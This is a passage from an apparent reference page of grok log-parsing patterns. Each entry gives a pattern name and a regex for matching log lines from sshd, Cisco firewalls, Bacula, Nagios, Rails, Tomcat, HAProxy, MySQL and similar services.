COMBINEDAPACHELOG") Pattern : TEXTCOPY ``` %{COMMONAPACHELOG} %{QS:referrer} %{QS:agent} ``` ## URIPARAM[โ€‹](#uriparam "Direct link to URIPARAM") Pattern : TEXTCOPY ``` \?[A-Za-z0-9$.+!*'|(){},~@#%&/=:;_?\-\[\]<>]* ``` ## RFC850[โ€‹](#rfc850 "Direct link to RFC850") Pattern : TEXTCOPY ``` %{DAY}, [0-3]\d-%{MONTH}-%{YEAR} %{TIME} %{TZ} ``` ## RFC1123[โ€‹](#rfc1123 "Direct link to RFC1123") Pattern : TEXTCOPY ``` %{DAY}, [0-3]\d %{MONTH} %{YEAR} %{TIME} %{TZ} ``` ## UNIXDATE[โ€‹](#unixdate "Direct link to UNIXDATE") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} [_123]\d %{TIME} %{TZ} %{YEAR} ``` ## CISCOFW104003[โ€‹](#ciscofw104003 "Direct link to CISCOFW104003") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Switching to FAILED\. ``` ## SYSLOG5424LINE[โ€‹](#syslog5424line "Direct link to SYSLOG5424LINE") Pattern : TEXTCOPY ``` %{SYSLOG5424BASE} +%{GREEDYDATA:syslog5424_msg} ``` ## BACULA\_LOG\_STARTJOB[โ€‹](#bacula_log_startjob "Direct link to BACULA_LOG_STARTJOB") Pattern : TEXTCOPY ``` Start Backup JobId %{INT}, Job=%{BACULA_JOB:job} ``` ## RUBYDATE[โ€‹](#rubydate "Direct link to RUBYDATE") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} [0-3]\d %{TIME} %{NUMTZ} %{YEAR} ``` ## BACULA\_LOG\_NOOPEN[โ€‹](#bacula_log_noopen "Direct link to BACULA_LOG_NOOPEN") Pattern : TEXTCOPY ``` \s+Cannot open %{DATA}: ERR=%{GREEDYDATA:berror} ``` ## RFC1123Z[โ€‹](#rfc1123z "Direct link to RFC1123Z") Pattern : TEXTCOPY ``` %{DAY}, [0-3]\d %{MONTH} %{YEAR} %{TIME} %{NUMTZ} ``` ## DATESTAMP\_RFC822[โ€‹](#datestamp_rfc822 "Direct link to DATESTAMP_RFC822") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} %{MONTHDAY} %{YEAR} %{TIME} %{TZ} ``` ## DATESTAMP\_OTHER[โ€‹](#datestamp_other "Direct link to DATESTAMP_OTHER") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{TZ} %{YEAR} ``` ## RFC3339[โ€‹](#rfc3339 "Direct link to RFC3339") Pattern : TEXTCOPY ``` %{YEAR}-[01]\d-[0-3]\dT%{TIME}%{ISO8601_TIMEZONE} ``` ## SSHD\_TERMINATE[โ€‹](#sshd_terminate "Direct link to SSHD_TERMINATE") Pattern : TEXTCOPY ``` Received signal %{NUMBER:sshd_signal}; terminating. ``` ## BACULA\_LOG\_NOSTAT[โ€‹](#bacula_log_nostat "Direct link to BACULA_LOG_NOSTAT") Pattern : TEXTCOPY ``` \s+Could not stat %{DATA}: ERR=%{GREEDYDATA:berror} ``` ## UUID[โ€‹](#uuid "Direct link to UUID") Pattern : TEXTCOPY ``` [A-Fa-f0-9]{8}-(?:[A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12} ``` ## SSHD\_LOGOUT\_ERR[โ€‹](#sshd_logout_err "Direct link to SSHD_LOGOUT_ERR") Pattern : TEXTCOPY ``` syslogin_perform_logout: logout\(\) returned an error ``` ## RCONTROLLER[โ€‹](#rcontroller "Direct link to RCONTROLLER") Pattern : TEXTCOPY ``` %{RAILS_CONSTROLLER:controller}#%{RAIL_ACTION:action} ``` ## DATESTAMP\_EVENTLOG[โ€‹](#datestamp_eventlog "Direct link to DATESTAMP_EVENTLOG") Pattern : TEXTCOPY ``` %{YEAR}%{MONTHNUM2}%{MONTHDAY}%{HOUR}%{MINUTE}%{SECOND} ``` ## JAVACLASS[โ€‹](#javaclass "Direct link to JAVACLASS") Pattern : TEXTCOPY ``` (?:[a-zA-Z$_][a-zA-Z$_0-9]*\.)*[a-zA-Z$_][a-zA-Z$_0-9]* ``` ## RFC3339NANO[โ€‹](#rfc3339nano "Direct link to RFC3339NANO") Pattern : TEXTCOPY ``` %{YEAR}-[01]\d-[0-3]\dT%{TIME}\.\d{9}%{ISO8601_TIMEZONE} ``` ## NGINXERRTIME[โ€‹](#nginxerrtime "Direct link to NGINXERRTIME") Pattern : TEXTCOPY ``` %{YEAR}/%{MONTHNUM2}/%{DAY2} %{HOUR}:%{MINUTE}:%{SECOND} ``` ## BACULA\_LOG\_BEGIN\_PRUNE\_JOBS[โ€‹](#bacula_log_begin_prune_jobs "Direct link to BACULA_LOG_BEGIN_PRUNE_JOBS") Pattern : TEXTCOPY ``` Begin pruning Jobs older than %{INT} month %{INT} days . ``` ## BACULA\_LOG\_NEW\_VOLUME[โ€‹](#bacula_log_new_volume "Direct link to BACULA_LOG_NEW_VOLUME") Pattern : TEXTCOPY ``` Created new Volume \"%{BACULA_VOLUME:volume}\" in catalog. ``` ## BACULA\_LOG\_MARKCANCEL[โ€‹](#bacula_log_markcancel "Direct link to BACULA_LOG_MARKCANCEL") Pattern : TEXTCOPY ``` JobId %{INT}, Job %{BACULA_JOB:job} marked to be canceled. ``` ## SSHD\_TCPWRAP\_FAIL5[โ€‹](#sshd_tcpwrap_fail5 "Direct link to SSHD_TCPWRAP_FAIL5") Pattern : TEXTCOPY ``` warning: can't get client address: Connection reset by peer ``` ## EXIM\_INTERFACE[โ€‹](#exim_interface "Direct link to EXIM_INTERFACE") Pattern : TEXTCOPY ``` (I=\[%{IP:exim_interface}\](:%{NUMBER:exim_interface_port})) ``` ## BACULA\_LOG\_NOOPENDIR[โ€‹](#bacula_log_noopendir "Direct link to BACULA_LOG_NOOPENDIR") Pattern : TEXTCOPY ``` \s+Could not open directory %{DATA}: ERR=%{GREEDYDATA:berror} ``` ## BACULA\_LOG\_CLIENT\_RBJ[โ€‹](#bacula_log_client_rbj "Direct link to BACULA_LOG_CLIENT_RBJ") Pattern : TEXTCOPY ``` shell command: run ClientRunBeforeJob \"%{GREEDYDATA:runjob}\" ``` ## SSHD\_IDENT\_FAIL[โ€‹](#sshd_ident_fail "Direct link to SSHD_IDENT_FAIL") Pattern : TEXTCOPY ``` Did not receive identification string from %{IP:sshd_client_ip} ``` ## BACULA\_LOG\_MAXSTART[โ€‹](#bacula_log_maxstart "Direct link to BACULA_LOG_MAXSTART") Pattern : TEXTCOPY ``` Fatal error: Job canceled because max start delay time exceeded. ``` ## DATESTAMP\_RFC2822[โ€‹](#datestamp_rfc2822 "Direct link to DATESTAMP_RFC2822") Pattern : TEXTCOPY ``` %{DAY}, %{MONTHDAY} %{MONTH} %{YEAR} %{TIME} %{ISO8601_TIMEZONE} ``` ## REDISLOG2[โ€‹](#redislog2 "Direct link to REDISLOG2") Pattern : TEXTCOPY ``` %{POSINT:pid}:M %{REDISTIMESTAMP:time} [*#] %{GREEDYDATA:message} ``` ## QUOTEDSTRING[โ€‹](#quotedstring "Direct link to QUOTEDSTRING") Pattern : TEXTCOPY ``` ("(\\.|[^\\"]+)+")|""|('(\\.|[^\\']+)+')|''|(`(\\.|[^\\`]+)+`)|`` ``` ## BACULA\_LOG\_PRUNED\_JOBS[โ€‹](#bacula_log_pruned_jobs "Direct link to BACULA_LOG_PRUNED_JOBS") Pattern : TEXTCOPY ``` Pruned %{INT} Jobs* for client %{BACULA_HOST:client} from catalog. ``` ## RT\_FLOW\_EVENT[โ€‹](#rt_flow_event "Direct link to RT_FLOW_EVENT") Pattern : TEXTCOPY ``` (RT_FLOW_SESSION_CREATE|RT_FLOW_SESSION_CLOSE|RT_FLOW_SESSION_DENY) ``` ## CISCOFW302010[โ€‹](#ciscofw302010 "Direct link to CISCOFW302010") Pattern : TEXTCOPY ``` %{INT:connection_count} in use, %{INT:connection_count_max} most used ``` ## BACULA\_LOG\_NOSUIT[โ€‹](#bacula_log_nosuit "Direct link to BACULA_LOG_NOSUIT") Pattern : TEXTCOPY ``` No prior or suitable Full backup found in catalog. Doing FULL backup. ``` ## SSHD\_SESSION\_CLOSE[โ€‹](#sshd_session_close "Direct link to SSHD_SESSION_CLOSE") Pattern : TEXTCOPY ``` pam_unix\(sshd:session\): session closed for user %{USERNAME:sshd_user} ``` ## SSHD\_INVAL\_USER[โ€‹](#sshd_inval_user "Direct link to SSHD_INVAL_USER") Pattern : TEXTCOPY ``` Invalid user\s*%{USERNAME:sshd_invalid_user}? from %{IP:sshd_client_ip} ``` ## MONGO\_LOG[โ€‹](#mongo_log "Direct link to MONGO_LOG") Pattern : TEXTCOPY ``` %{SYSLOGTIMESTAMP:timestamp} \[%{WORD:component}\] %{GREEDYDATA:message} ``` ## BACULA\_LOG\_JOB[โ€‹](#bacula_log_job "Direct link to BACULA_LOG_JOB") Pattern : TEXTCOPY ``` (Error: )?Bacula %{BACULA_HOST} %{BACULA_VERSION} \(%{BACULA_VERSION}\): ``` ## BACULA\_LOG\_READYAPPEND[โ€‹](#bacula_log_readyappend "Direct link to BACULA_LOG_READYAPPEND") Pattern : TEXTCOPY ``` Ready to append to end of Volume \"%{BACULA_VOLUME:volume}\" size=%{INT} ``` ## CRONLOG[โ€‹](#cronlog "Direct link to CRONLOG") Pattern : TEXTCOPY ``` %{SYSLOGBASE} \(%{USER:user}\) %{CRON_ACTION:action} \(%{DATA:message}\) ``` ## URI[โ€‹](#uri "Direct link to URI") Pattern : TEXTCOPY ``` %{URIPROTO}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST})?(?:%{URIPATHPARAM})? ``` ## SSHD\_LISTEN[โ€‹](#sshd_listen "Direct link to SSHD_LISTEN") Pattern : TEXTCOPY ``` Server listening on %{IP:sshd_listen_ip} port %{NUMBER:sshd_listen_port}. ``` ## HAPROXYTIME[โ€‹](#haproxytime "Direct link to HAPROXYTIME") Pattern : TEXTCOPY ``` %{HOUR:haproxy_hour}:%{MINUTE:haproxy_minute}(?::%{SECOND:haproxy_second}) ``` ## RAILS3[โ€‹](#rails3 "Direct link to RAILS3") Pattern : TEXTCOPY ``` %{RAILS3HEAD}(?:%{RPROCESSING})?%{RAILS_CONTEXT:context}(?:%{RAILS3FOOT})? ``` ## BASE16FLOAT[โ€‹](#base16float "Direct link to BASE16FLOAT") Pattern : TEXTCOPY ``` \b[+-]?(?:0x)?(?:(?:[0-9A-Fa-f]+(?:\.[0-9A-Fa-f]*)?)|(?:\.[0-9A-Fa-f]+))\b ``` ## CISCOFW104001[โ€‹](#ciscofw104001 "Direct link to CISCOFW104001") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Switching to ACTIVE - %{GREEDYDATA:switch_reason} ``` ## HOSTNAME[โ€‹](#hostname "Direct link to HOSTNAME") Pattern : TEXTCOPY ``` \b[0-9A-Za-z][0-9A-Za-z-]{0,62}(?:\.[0-9A-Za-z][0-9A-Za-z-]{0,62})*(\.?|\b) ``` ## CISCOFW105008[โ€‹](#ciscofw105008 "Direct link to CISCOFW105008") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Testing [Ii]nterface %{GREEDYDATA:interface_name} ``` ## CATALINA\_DATESTAMP[โ€‹](#catalina_datestamp "Direct link to CATALINA_DATESTAMP") Pattern : TEXTCOPY ``` %{MONTH} %{MONTHDAY}, 20%{YEAR} %{HOUR}:?%{MINUTE}(?::?%{SECOND}) (?:AM|PM) ``` ## CISCOFW104002[โ€‹](#ciscofw104002 "Direct link to CISCOFW104002") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Switching to STANDBY - %{GREEDYDATA:switch_reason} ``` ## BACULA\_LOG\_VOLUME\_PREVWRITTEN[โ€‹](#bacula_log_volume_prevwritten "Direct link to BACULA_LOG_VOLUME_PREVWRITTEN") Pattern : TEXTCOPY ``` Volume \"%{BACULA_VOLUME:volume}\" previously written, moving to end of data. ``` ## BACULA\_LOG\_PRUNED\_FILES[โ€‹](#bacula_log_pruned_files "Direct link to BACULA_LOG_PRUNED_FILES") Pattern : TEXTCOPY ``` Pruned Files from %{INT} Jobs* for client %{BACULA_HOST:client} from catalog. ``` ## SSHD\_BAD\_VERSION[โ€‹](#sshd_bad_version "Direct link to SSHD_BAD_VERSION") Pattern : TEXTCOPY ``` Bad protocol version identification '%{GREEDYDATA}' from %{IP:sshd_client_ip} ``` ## SSHD\_BADL\_PREAUTH[โ€‹](#sshd_badl_preauth "Direct link to SSHD_BADL_PREAUTH") Pattern : TEXTCOPY ``` Bad packet length %{NUMBER:sshd_packet_length}. \[%{GREEDYDATA:sshd_privsep}\] ``` ## EXIM\_DATE[โ€‹](#exim_date "Direct link to EXIM_DATE") Pattern : TEXTCOPY ``` %{YEAR:exim_year}-%{MONTHNUM:exim_month}-%{MONTHDAY:exim_day} %{TIME:exim_time} ``` ## BACULA\_LOG\_DUPLICATE[โ€‹](#bacula_log_duplicate "Direct link to BACULA_LOG_DUPLICATE") Pattern : TEXTCOPY ``` Fatal error: JobId %{INT:duplicate} already running. Duplicate job not allowed. ``` ## RAILS\_TIMESTAMP[โ€‹](#rails_timestamp "Direct link to RAILS_TIMESTAMP") Pattern : TEXTCOPY ``` %{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:%{MINUTE}:%{SECOND} %{ISO8601_TIMEZONE} ``` ## SSHD\_TUNN\_ERR1[โ€‹](#sshd_tunn_err1 "Direct link to SSHD_TUNN_ERR1") Pattern : TEXTCOPY ``` error: connect_to %{IP:sshd_listen_ip} port %{NUMBER:sshd_listen_port}: failed. ``` ## CATALINALOG[โ€‹](#catalinalog "Direct link to CATALINALOG") Pattern : TEXTCOPY ``` %{CATALINA_DATESTAMP:timestamp} %{JAVACLASS:class} %{JAVALOGMESSAGE:logmessage} ``` ## SSHD\_REFUSE\_CONN[โ€‹](#sshd_refuse_conn "Direct link to SSHD_REFUSE_CONN") Pattern : TEXTCOPY ``` refused connect from %{DATA:sshd_client_hostname} \(%{IPORHOST:sshd_client_ip}\) ``` ## BACULA\_LOG\_ALL\_RECORDS\_PRUNED[โ€‹](#bacula_log_all_records_pruned "Direct link to BACULA_LOG_ALL_RECORDS_PRUNED") Pattern : TEXTCOPY ``` All records pruned from Volume \"%{BACULA_VOLUME:volume}\"; marking it \"Purged\" ``` ## SSHD\_TOOMANY\_AUTH[โ€‹](#sshd_toomany_auth "Direct link to SSHD_TOOMANY_AUTH") Pattern : TEXTCOPY ``` Disconnecting: Too many authentication failures for %{USERNAME:sshd_invalid_user} ``` ## SSHD\_DISR\_PREAUTH[โ€‹](#sshd_disr_preauth "Direct link to SSHD_DISR_PREAUTH") Pattern : TEXTCOPY ``` Disconnecting: %{GREEDYDATA:sshd_disconnect_status} \[%{GREEDYDATA:sshd_privsep}\] ``` ## MCOLLECTIVE[โ€‹](#mcollective "Direct link to MCOLLECTIVE") Pattern : TEXTCOPY ``` ., \[%{TIMESTAMP_ISO8601:timestamp} #%{POSINT:pid}\]%{SPACE}%{LOGLEVEL:event_level} ``` ## SSHD\_TUNN\_ERR2[โ€‹](#sshd_tunn_err2 "Direct link to SSHD_TUNN_ERR2") Pattern : TEXTCOPY ``` error: channel_setup_fwd_listener: cannot listen to port: %{NUMBER:sshd_listen_port} ``` ## BACULA\_LOG\_DIFF\_FS[โ€‹](#bacula_log_diff_fs "Direct link to BACULA_LOG_DIFF_FS") Pattern : TEXTCOPY ``` \s+%{UNIXPATH} is a different filesystem. Will not descend from %{UNIXPATH} into it. ``` ## BACULA\_LOG\_NO\_AUTH[โ€‹](#bacula_log_no_auth "Direct link to BACULA_LOG_NO_AUTH") Pattern : TEXTCOPY ``` Fatal error: Unable to authenticate with File daemon at %{HOSTNAME}. Possible causes: ``` ## CISCOFW321001[โ€‹](#ciscofw321001 "Direct link to CISCOFW321001") Pattern : TEXTCOPY ``` Resource '%{WORD:resource_name}' limit of %{POSINT:resource_limit} reached for system ``` ## ELB\_REQUEST\_LINE[โ€‹](#elb_request_line "Direct link to ELB_REQUEST_LINE") Pattern : TEXTCOPY ``` (?:%{WORD:verb} %{ELB_URI:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest}) ``` ## POSTGRESQL[โ€‹](#postgresql "Direct link to POSTGRESQL") Pattern : TEXTCOPY ``` %{DATESTAMP:timestamp} %{TZ} %{DATA:user_id} %{GREEDYDATA:connection_id} %{POSINT:pid} ``` ## SSHD\_SESSION\_OPEN[โ€‹](#sshd_session_open "Direct link to SSHD_SESSION_OPEN") Pattern : TEXTCOPY ``` pam_unix\(sshd:session\): session opened for user %{USERNAME:sshd_user} by \(uid=\d+\) ``` ## S3\_REQUEST\_LINE[โ€‹](#s3_request_line "Direct link to S3_REQUEST_LINE") Pattern : TEXTCOPY ``` (?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest}) ``` ## TOMCAT\_DATESTAMP[โ€‹](#tomcat_datestamp "Direct link to TOMCAT_DATESTAMP") Pattern : TEXTCOPY ``` 20%{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:?%{MINUTE}(?::?%{SECOND}) %{ISO8601_TIMEZONE} ``` ## CISCOFW105004[โ€‹](#ciscofw105004 "Direct link to CISCOFW105004") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Monitoring on [Ii]nterface %{GREEDYDATA:interface_name} normal ``` ## RAILS3FOOT[โ€‹](#rails3foot "Direct link to RAILS3FOOT") Pattern : TEXTCOPY ``` Completed %{NUMBER:response}%{DATA} in %{NUMBER:totalms}ms %{RAILS3PROFILE}%{GREEDYDATA} ``` ## CISCOFW105003[โ€‹](#ciscofw105003 "Direct link to CISCOFW105003") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Monitoring on [Ii]nterface %{GREEDYDATA:interface_name} waiting ``` ## TIMESTAMP\_ISO8601[โ€‹](#timestamp_iso8601 "Direct link to TIMESTAMP_ISO8601") Pattern : TEXTCOPY ``` %{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND})?%{ISO8601_TIMEZONE}? ``` ## BACULA\_LOG\_JOBEND[โ€‹](#bacula_log_jobend "Direct link to BACULA_LOG_JOBEND") Pattern : TEXTCOPY ``` Job write elapsed time = %{DATA:elapsed}, Transfer rate = %{NUMBER} (K|M|G)? Bytes/second ``` ## SYSLOGBASE[โ€‹](#syslogbase "Direct link to SYSLOGBASE") Pattern : TEXTCOPY ``` %{SYSLOGTIMESTAMP:timestamp} (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource} %{SYSLOGPROG}: ``` ## SSHD\_TUNN\_ERR4[โ€‹](#sshd_tunn_err4 "Direct link to SSHD_TUNN_ERR4") Pattern : TEXTCOPY ``` error: channel_setup_fwd_listener_tcpip: cannot listen to port: %{NUMBER:sshd_listen_port} ``` ## MODSECPREFIX[โ€‹](#modsecprefix "Direct link to MODSECPREFIX") Pattern : TEXTCOPY ``` %{APACHEERRORPREFIX} ModSecurity: %{NOTSPACE:modsecseverity}\. %{GREEDYDATA:modsecmessage} ``` ## DAY[โ€‹](#day "Direct link to DAY") Pattern : TEXTCOPY ``` Mon(?:day)?|Tue(?:sday)?|Wed(?:nesday)?|Thu(?:rsday)?|Fri(?:day)?|Sat(?:urday)?|Sun(?:day)? ``` ## JAVASTACKTRACEPART[โ€‹](#javastacktracepart "Direct link to JAVASTACKTRACEPART") Pattern : TEXTCOPY ``` %{SPACE}at %{JAVACLASS:class}\.%{JAVAMETHOD:method}\(%{JAVAFILE:file}(?::%{NUMBER:line})?\) ``` ## ELB\_URI[โ€‹](#elb_uri "Direct link to ELB_URI") Pattern : TEXTCOPY ``` %{URIPROTO:proto}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST:urihost})?(?:%{ELB_URIPATHPARAM})? ``` ## EXIM\_REMOTE\_HOST[โ€‹](#exim_remote_host "Direct link to EXIM_REMOTE_HOST") Pattern : TEXTCOPY ``` (H=(%{NOTSPACE:remote_hostname} )?(\(%{NOTSPACE:remote_heloname}\) )?\[%{IP:remote_host}\]) ``` ## SSHD\_SESSION\_FAIL[โ€‹](#sshd_session_fail "Direct link to SSHD_SESSION_FAIL") Pattern : TEXTCOPY ``` pam_systemd\(sshd:session\): Failed to release session: %{GREEDYDATA:sshd_disconnect_status} ``` ## SSHD\_TUNN[โ€‹](#sshd_tunn "Direct link to SSHD_TUNN") Pattern : TEXTCOPY ``` %{SSHD_TUNN_ERR1}|%{SSHD_TUNN_ERR2}|%{SSHD_TUNN_ERR3}|%{SSHD_TUNN_ERR4}|%{SSHD_TUNN_TIMEOUT} ``` ## BACULA\_LOG\_NOJOBS[โ€‹](#bacula_log_nojobs "Direct link to BACULA_LOG_NOJOBS") Pattern : TEXTCOPY ``` There are no more Jobs associated with Volume \"%{BACULA_VOLUME:volume}\". Marking it purged. ``` ## RPROCESSING[โ€‹](#rprocessing "Direct link to RPROCESSING") Pattern : TEXTCOPY ``` \W*Processing by %{RCONTROLLER} as %{NOTSPACE:format}(?:\W*Parameters: \{\%\{DATA:params}}\W*)? ``` ## CISCOFW105009[โ€‹](#ciscofw105009 "Direct link to CISCOFW105009") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Testing on [Ii]nterface %{GREEDYDATA:interface_name} (?:Passed|Failed) ``` ## SSHD\_LOG[โ€‹](#sshd_log "Direct link to SSHD_LOG") Pattern : TEXTCOPY ``` %{SSHD_INIT}|%{SSHD_NORMAL_LOG}|%{SSHD_PROBE_LOG}|%{SSHD_CORRUPTED}|%{SSHD_TUNN}|%{SSHD_PREAUTH} ``` ## SSHD\_DISC\_PREAUTH[โ€‹](#sshd_disc_preauth "Direct link to SSHD_DISC_PREAUTH") Pattern : TEXTCOPY ``` Disconnected from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) ``` ## TOMCATLOG[โ€‹](#tomcatlog "Direct link to TOMCATLOG") Pattern : TEXTCOPY ``` %{TOMCAT_DATESTAMP:timestamp} \| %{LOGLEVEL:level} \| %{JAVACLASS:class} - %{JAVALOGMESSAGE:logmessage} ``` ## SSHD\_REST\_PREAUTH[โ€‹](#sshd_rest_preauth "Direct link to SSHD_REST_PREAUTH") Pattern : TEXTCOPY ``` Connection reset by %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) ``` ## SSHD\_CLOS\_PREAUTH[โ€‹](#sshd_clos_preauth "Direct link to SSHD_CLOS_PREAUTH") Pattern : TEXTCOPY ``` Connection closed by %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) ``` ## CISCO\_TAGGED\_SYSLOG[โ€‹](#cisco_tagged_syslog "Direct link to CISCO_TAGGED_SYSLOG") Pattern : TEXTCOPY ``` ^<%{POSINT:syslog_pri}>%{CISCOTIMESTAMP:timestamp}( %{SYSLOGHOST:sysloghost})? ?: %%{CISCOTAG:ciscotag}: ``` ## SSHD\_INVA\_PREAUTH[โ€‹](#sshd_inva_preauth "Direct link to SSHD_INVA_PREAUTH") Pattern : TEXTCOPY ``` input_userauth_request: invalid user %{USERNAME:sshd_invalid_user}?\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) ``` ## RAILS3HEAD[โ€‹](#rails3head "Direct link to RAILS3HEAD") Pattern : TEXTCOPY ``` (?m)Started %{WORD:verb} "%{URIPATHPARAM:request}" for %{IPORHOST:clientip} at %{RAILS_TIMESTAMP:timestamp} ``` ## CISCOFW105005[โ€‹](#ciscofw105005 "Direct link to CISCOFW105005") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Lost Failover communications with mate on [Ii]nterface %{GREEDYDATA:interface_name} ``` ## BACULA\_LOG\_NEW\_LABEL[โ€‹](#bacula_log_new_label "Direct link to BACULA_LOG_NEW_LABEL") Pattern : TEXTCOPY ``` Labeled new Volume \"%{BACULA_VOLUME:volume}\" on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\). ``` ## CISCO\_ACTION[โ€‹](#cisco_action "Direct link to CISCO_ACTION") Pattern : TEXTCOPY ``` Built|Teardown|Deny|Denied|denied|requested|permitted|denied by ACL|discarded|est-allowed|Dropping|created|deleted ``` ## NAGIOS\_EC\_LINE\_ENABLE\_HOST\_CHECK[โ€‹](#nagios_ec_line_enable_host_check "Direct link to NAGIOS_EC_LINE_ENABLE_HOST_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_HOST_CHECK:nagios_command};%{DATA:nagios_hostname} ``` ## COWRIE\_NEW\_CO[โ€‹](#cowrie_new_co "Direct link to COWRIE_NEW_CO") Pattern : TEXTCOPY ``` New connection: %{IPV4:source_ip}:[0-9]+ \(%{IPV4:dest_ip}:%{INT:dest_port}\) \[session: %{DATA:telnet_session}\]$ ``` ## NAGIOS\_EC\_LINE\_DISABLE\_HOST\_CHECK[โ€‹](#nagios_ec_line_disable_host_check "Direct link to NAGIOS_EC_LINE_DISABLE_HOST_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_CHECK:nagios_command};%{DATA:nagios_hostname} ``` ## CISCOFW402117[โ€‹](#ciscofw402117 "Direct link to CISCOFW402117") Pattern : TEXTCOPY ``` %{WORD:protocol}: Received a non-IPSec packet \(protocol= %{WORD:orig_protocol}\) from %{IP:src_ip} to %{IP:dst_ip} ``` ## BACULA\_LOG\_WROTE\_LABEL[โ€‹](#bacula_log_wrote_label "Direct link to BACULA_LOG_WROTE_LABEL") Pattern : TEXTCOPY ``` Wrote label to prelabeled Volume \"%{BACULA_VOLUME:volume}\" on device \"%{BACULA_DEVICE}\" \(%{BACULA_DEVICEPATH}\) ``` ## CISCOFW500004[โ€‹](#ciscofw500004 "Direct link to CISCOFW500004") Pattern : TEXTCOPY ``` %{CISCO_REASON:reason} for protocol=%{WORD:protocol}, from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} ``` ## RAILS3PROFILE[โ€‹](#rails3profile "Direct link to RAILS3PROFILE") Pattern : TEXTCOPY ``` (?:\(Views: %{NUMBER:viewms}ms \| ActiveRecord: %{NUMBER:activerecordms}ms|\(ActiveRecord: %{NUMBER:activerecordms}ms)? ``` ## NAGIOS\_PASSIVE\_HOST\_CHECK[โ€‹](#nagios_passive_host_check "Direct link to NAGIOS_PASSIVE_HOST_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_PASSIVE_HOST_CHECK:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} ``` ## NAGIOS\_TIMEPERIOD\_TRANSITION[โ€‹](#nagios_timeperiod_transition "Direct link to NAGIOS_TIMEPERIOD_TRANSITION") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_TIMEPERIOD_TRANSITION:nagios_type}: %{DATA:nagios_service};%{DATA:nagios_unknown1};%{DATA:nagios_unknown2} ``` ## NAGIOS\_HOST\_DOWNTIME\_ALERT[โ€‹](#nagios_host_downtime_alert "Direct link to NAGIOS_HOST_DOWNTIME_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_HOST_DOWNTIME_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} ``` ## HTTPD20\_ERRORLOG[โ€‹](#httpd20_errorlog "Direct link to HTTPD20_ERRORLOG") Pattern : TEXTCOPY ``` \[%{HTTPDERROR_DATE:timestamp}\] \[%{LOGLEVEL:loglevel}\] (?:\[client %{IPORHOST:clientip}\] ){0,1}%{GREEDYDATA:errormsg} ``` ## NAGIOS\_HOST\_FLAPPING\_ALERT[โ€‹](#nagios_host_flapping_alert "Direct link to NAGIOS_HOST_FLAPPING_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_HOST_FLAPPING_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_message} ``` ## MYSQL\_AUTH\_FAIL[โ€‹](#mysql_auth_fail "Direct link to MYSQL_AUTH_FAIL") Pattern : TEXTCOPY ``` %{TIMESTAMP_ISO8601:time} %{NUMBER} \[Note\] Access denied for user '%{DATA:user}'@'%{IP:source_ip}' \(using password: YES\) ``` ## NGINXERROR[โ€‹](#nginxerror "Direct link to NGINXERROR") Pattern : TEXTCOPY ``` %{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?%{GREEDYDATA:message} ``` ## BACULA\_LOG\_MAX\_CAPACITY[โ€‹](#bacula_log_max_capacity "Direct link to BACULA_LOG_MAX_CAPACITY") Pattern : TEXTCOPY ``` User defined maximum volume capacity %{BACULA_CAPACITY} exceeded on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\) ``` ## HAPROXYDATE[โ€‹](#haproxydate "Direct link to HAPROXYDATE") Pattern : TEXTCOPY ``` %{MONTHDAY:haproxy_monthday}/%{MONTH:haproxy_month}/%{YEAR:haproxy_year}:%{HAPROXYTIME:haproxy_time}.%{INT:haproxy_milliseconds} ``` ## NAGIOS\_EC\_LINE\_ENABLE\_HOST\_NOTIFICATIONS[โ€‹](#nagios_ec_line_enable_host_notifications "Direct link to NAGIOS_EC_LINE_ENABLE_HOST_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: 